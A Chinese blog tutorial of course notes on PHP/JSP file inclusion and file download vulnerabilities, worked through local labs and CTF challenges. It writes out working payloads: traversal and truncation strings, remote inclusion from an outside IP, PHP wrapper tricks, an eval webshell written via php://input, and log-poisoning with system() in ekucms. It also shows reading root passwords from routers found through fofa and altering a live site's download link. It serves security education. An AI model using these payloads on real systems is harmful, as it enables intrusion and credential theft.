目录

31、文件操作之文件包含漏洞全解

原理

一、本地文件包含代码测试——原理

1.无限制包含漏洞文件

2.有限制文件包含漏洞

二、远程文件包含代码测试——原理

1.无限制

2.有限制

三、各种协议流提交流测试-协议

php伪协议 - 看不尽的尘埃 - 博客园

1.读取文件源码filter

2.执行php代码input

3.写入一句话木马 input

4.读取文件file://

5.数据流封装data://

四、某CMS程序文件包含利用-黑盒(ekucms)

五、CTF-南邮大学,i春秋百度杯真题-白盒

1.南邮CTF

2.i春秋-CTF

32、文件操作之文件下载读取

原理

一、pikachu-文件下载测试-参数

二、zdns-文件下载真实测试-功能点

三、小米路由器-文件读取真实测试-漏洞

四、RoarCTF2019-文件读取真题复现-比赛

五、百度杯2017二月-Zone真题复现-比赛拓展

31、文件操作之文件包含漏洞全解

原理

原理,检测,类型,利用,修复等

借由文件包含,将指定文件里的内容当作脚本代码执行

手工检测:

1.看网址后面的参数值是不是文件或类似文件名的命名;

2.看功能是否跟文件包含有关。

文件包含各个脚本代码

ASP,PHP,JSP,ASPX等

<c:import url=”http://thief.one/1.jsp”>

<jsp:include page=”head.jsp”/>

<%@ include file=”head.jsp”%>

<?php Include(‘test.php’)?>

一、本地文件包含代码测试——原理

1.无限制包含漏洞文件

在phpstudy根目录下创建include.php

<?php$filename=$_GET['filename'];include ( $filename);//http://127.0.0.1:8080/include.php?filename=1.txt
//filename=1.txt/*
$filename=$_GET['filename'];
include ( $filename ." .html" );
*/?>

创建1.txt

<?php
phpinfo();
?>

在浏览器中输入http://192.168.2.123/include.php?filename=1.txt

直接访问1.txt

访问D盘里的www.txt文件(自己创建,输入)

<?php
echo'xiaojia';
?>

跨越目录访问

http://192.168.2.123/include.php?filename=../../../www.txt

2.有限制文件包含漏洞

在include.php中输入

<?php$filename=$_GET['filename'];
include($filename.".html");?>

在执行1.txt会报错,因为会执行成1.txt.html

%00截断

http://192.168.2.123/include.php?filename=1.txt%00

php版本<5.3.4而且魔术引号magic_quotes_gpc=off

长度截断

Windows,点号需要长于256;linux长于4096

二、远程文件包含代码测试——原理

1.无限制

在PHP info中查看allow_url_include状态,开启允许远程包含

如果关闭的话,在php的extensions目录下找到php打开php.ini查找它进行更改

在远程服务器上创建readme.txt并访问

<?phpphpinfo();
?>

http://192.168.2.123/include.php?filename=http:42.112.142.206/readme.txt

访问成功

2.有限制

用.html限制时加%20,23%,?绕过

三、各种协议流提交流测试-协议

php伪协议 - 看不尽的尘埃 - 博客园

1.读取文件源码filter

php://filter/read=convert.base64-encode/resource=[文件名]

​​​​​​http://192.168.2.123/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt​​​​​​http://192.168.2.123/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
将这段内容复制用base64解码

2.执行php代码input

php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

这里可以使用hackbar来post数据但是这里的数据需要使用键值对,具体不会操作,不做图解

3.写入一句话木马 input

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

4.读取文件file://

要有完整的路径

5.数据流封装data://

data://text/plain,

http://10.245.2.192/include.php?filename=data://text/plain,%3C?php%20phpinfo%28%29;?%3E

http://10.245.2.192/include.php?filename=data://text/plain,%3C?php%20echo%201;?%3E

四、某CMS程序文件包含利用-黑盒(ekucms)

在本地搭建ekucms 思路先上传一个后门,然后通过文件包含利用。

本地包含一句话木马

http://127.0.0.1/ekucms/?s=my/show/id/{~eval($_POST[orange])}

会在网站的/temp/Logs/目录下生成一个错误日志,命名规则为年_月_日, 在这个目录下查看

记录了时间和错误原因

进行包含错误日志,地址:

http://10.245.2.192/ekucms/index.php?s=my/show/id/%5C..%5Ctemp%5Clogs%5C22_04_25.log

验证下:postdata输入orange=phpinfo();不用输<?php ?>已经有了这个格式

postdata输入orange=system('ipconfig');获取信息

五、CTF-南邮大学,i春秋百度杯真题-白盒

1.南邮CTF

asdfhttp://4.chinalover.sinaapp.com/web7/index.php

进入后点击跳到这里

发现参数名file

 直接访问也是这个文件

确定为文件包含,利用伪协议,读取文件或执行相关代码

更改文件大小写,确定操作系统,这里大写后报错为linux

输入文件读取

asdfhttp://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

复制这段文字Base64解码

将解码结果复制到文本中查看,得到flag

2.i春秋-CTF

Web include

php://filter/read=convert.base64-encode/resource=index.php

http://e5369bfd1d9c4bc4af66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://input Post:<?php system('ls');?>

http://e5369bfd1d9c4bc4af66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

32、文件操作之文件下载读取

原理

#文件下载,读取

原理,检测,利用,修复等

#利用
数据库配置文件下载或读取后续
接口密匙信息文件下载或读取后续

#测试位置

存在下载或读取功能的位置

#下载或读取的文件

配置文件(数据库,平台,各种等)

默认文件(指系统文件)

#敏感文件位置获取

扫描工具爬行或扫描地址

下载好的文件代码中分析路径和包含文件获取

#文件名,参数值,目录符号
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
../ ..\ .\ ./等
%00 ? %23 %20 .等
&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF= 、WEB-INF

1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞

#各种协议调用配合

一、pikachu-文件下载测试-参数

打开pikachu文件下载关卡

以科比为例,复制图片链接地址和图片下载地址

网站的存储的文件地址

http://10.245.7.118/pikachu/vul/unsafedownload/download/kb.png

传递的参数filename=kb.png获取指定下载的文件地址,我们可以更改下载的文件地址就会形成文件下载漏洞

http://10.245.7.118/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png

通过上面的两个下载的地址我们可以可以测试文件下载漏洞

http://10.245.7.118/pikachu/vul/unsafedownload/execdownload.php?filename=../execdownload.php

通过链接下载到了文件execdownload.php

查看文件,我们可以看到的是里面有个inc/function.php文件,试着构造URL下载。

http://10.245.7.118/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/function.phphttp://10.245.7.118/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/function.php

webpath后台扫描

我们可以加载一些大的字典然后去扫描这样获取到更多的路径增加更多的几率,打开几个地址试试


 这里本来应该可以打开文件列表,可能是因为权限问题。

正确为

补充:Javaweb文件下载代码

javaWeb实现文件下载_做个坏男人的博客-CSDN博客_javaweb实现文件下载

二、zdns-文件下载真实测试-功能点

智能电视应用市场_安卓电视软件商店_Android TV APP下载_智能电视游戏下载_ZNDS智能电视网国内知名的智能电视应用市场,依托ZNDS应用商店丰富的TV软件,为您更新和精选热门智能电视应用。海量精选安卓TV应用,皆可使用智能电视和机顶盒遥控器轻松操作,网页界面简洁易用,下载得心应手,做好用的智能电视安卓市场!http://down.znds.com/随便下载一个文件,复制文件名称和文件下载地址


 文件名称:yxcgqykt_2.0.4_dangbei.apk

http://down.znds.com/getdownurl/?s=L2Rvd24vMjAyMjA0MjYveXhjZ3F5a3RfMi4wLjRfZGFuZ2JlaS5hcGs=

发现s=后面为base64进行解码

 得到真实地址

http://down.znds.com/getdownurl/?s=/down/20220426/yxcgqykt_2.0.4_dangbei.apk

更换下载地址也就存在了文件下载漏洞

三、小米路由器-文件读取真实测试-漏洞
https://www.seebug.org/vuldb/ssvid-98122

利用fofa扫描小米路由器ip

打开链接,输入利用地址(有的404没有漏洞)

下载后打开,得到root密码

四、RoarCTF2019-文件读取真题复现-比赛

BUUCTF在线评测BUUCTF 是一个 CTF 竞赛和训练平台,为各位 CTF 选手提供真实赛题在线复现等服务。https://buuoj.cn/challenges#%5BRoarCTF%202019%5DEasy%20JavaEasy Java

复制help,链接地址

http://2f9e74ba-324d-4d6e-b726-dec0019bae9a.node4.buuoj.cn:81/Download?filename=help.docx

点击help

将文件地址以post属性提交可以下载

打开文件

利用网页检查属性查看cookie和中间件

爬虫扫描地址-分析参数名参数值-文件操作安全-对应脚本

修改提交方式测试-读取 WEB 配置文件 WEB-INF/web.xml

访问读取对应地址-访问读取 flag 对应 class 文件-(WEB-INF/classes/com/wm/ctf/FlagController.class

抓包查看有/flag文件(这里如果hackbar无法post数据直接在burpsuite中更改)

读取flag对应文件地址,得到flag

找到这段话附近的base64

解码

成功得到flag提交

五、百度杯2017二月-Zone真题复现-比赛拓展

i春秋web-zone(因为i春秋有专业爱好者认证,无法使用,这里是案例分享)

点击mini-zone抓包

将cookie中0改为1发送

点击manage

放出去回到初始

点log out抓包继续将cookie改为

有module更改module=..././..././..././nginx/nginx.conf

更多参考博客这里了解原理即可

三、Web漏洞-文件操作相关推荐

  1. WEB漏洞-文件操作

    目录 31.文件操作之文件包含漏洞全解 一.本地文件包含代码测试--原理 1.无限制包含漏洞文件 ​2.有限制文件包含漏洞 二.远程文件包含代码测试--原理 1.无限制 2.有限制 三.各种协议流提交 ...

  2. 第31天:WEB漏洞~文件操作之文件包含漏洞全解

    目录 1. 文件包含漏洞 1.1. 原理.检测.类型.修复 1.2. 无限制&有限制的包含 1.2.1 本地包含 1.2.2 远程包含 1.3. 协议流 php:// php://input ...

  3. 2020小迪培训(第21天 WEB 漏洞-文件上传之后端黑白名单绕过)

    WEB 漏洞-文件上传之后端黑白名单绕过 前言 文件上传常见验证 后缀名,类型,文件头等 后缀名:黑名单,白名单 黑名单:明确不允许上传的格式后缀 asp php jsp cgi war- 缺陷:在定 ...

  4. 2020小迪培训(第20天WEB 漏洞-文件上传之基础及过滤方式)

    WEB 漏洞-文件上传之基础及过滤方式 前言 知识点 什么是文件上传漏洞? 有文件上传不一定存在漏洞 凡是存在文件上传的地方/功能的地方都可以进行文件上传漏洞测试 上传文件操作的代码的完整性.安全性, ...

  5. WEB漏洞-文件上传之后端黑白名单绕过

    WEB漏洞-文件上传之后端黑白名单绕过 文件上传常见验证:后缀名,类型,文件头 后缀名:黑名单,白名单 黑名单:asp php jsp aspx cgi war- 白名单: txt jpg zip r ...

  6. 第20天-WEB漏洞-文件上传之基础及过滤方式

    思维导图 文件上传漏洞 1-什么是文件上传漏洞? 凡是存在文件上传的地方均有可能存在文件上传漏洞,关于上传文件操作的时候对方代码写的是否完整.是否安全,一旦疏忽了某个地方可能会造成文件上传漏洞. 2- ...

  7. Python之路【第三篇】:文件操作

    一.文件操作步骤 打开文件,得到文件句柄并赋值给一个变量 通过句柄对文件进行操作 关闭文件 歌名:<大火> 演唱:李佳薇 作词:姚若龙 作曲:马奕强 歌词: 有座巨大的停了的时钟 倾倒在赶 ...

  8. 第20篇:WEB漏洞~文件上传~基础及过滤方式

    目录 Q&A 1. 文件上传漏洞的类型 2. 案例 2.1. 常规文件上传地址的获取说明 2.2. ★不同格式下的文件类型后门测试 2.3. 配合解析漏洞下的文件类型后门测试 2.3. 本地文 ...

  9. 第三十二天学习笔记-web漏洞-文件上传的条件竞争、.htaccess文件与.user.ini文件使用前提、二次渲染

    目录 二次渲染原理 绕过方法 htaccess配置文件 .user.ini 二次渲染原理 在我们上传文件后,网站会对图片进行二次处理(格式.尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新 ...

最新文章

  1. iOS使用Security.framework进行RSA 加密解密签名和验证签名
  2. 在WINDOWS2008 Server 中创建NFS服务器,使用LINUX的MOUNT命令去加载网络盘
  3. 8-12-COMPETITION
  4. 网络通道联调及SSH服务启动
  5. 竞价排名才是万恶之源
  6. 加密解密学习--基本概念拾掇
  7. 从输入URL到页面展现的全过程
  8. Windows API 获取所有进程音量并调节
  9. elastic APM 简单使用
  10. 基于BP神经网络的英文字母识别
  11. angular浏览器兼容性问题解决方案
  12. 实验3-5 查询水果价格
  13. 算力基础设施的现状、趋势和对策建议
  14. 全军尽墨的Android应用:社会化授权登录及分享安全漏洞
  15. java poi row cell,使用POI进行Excel操作的总结一——创建Workbook,Sheet,Row以及Cell
  16. Niagara模块微信公众号连接
  17. 离散数学 极大元,极小元,最大元,最小元,上界,上确界,下界,下确界
  18. Unity3D学习记录——爆炸特效
  19. matlab画等势线,求助大牛MATLAB画三维等势面
  20. mybatis或mybatis-plus查询时忽略大小写方法,不用写xml文件

热门文章

  1. java石头人_宋玉成
  2. CAP理论-分布式系统的基础理论-------CP、AP案例场景分析
  3. Beyond Compare 设置打开文件的默认编码
  4. 魔影工厂 – 免费简单易用的全能视频格式转换工具
  5. S/4 HANA标准表MARC增强字段
  6. Redis保存购物车信息
  7. Eclipse常见问题和解决方案for noob
  8. 网狐内核websocket版开源
  9. Linux操作系统同时启动多个服务脚本
  10. jsp中定义日期格式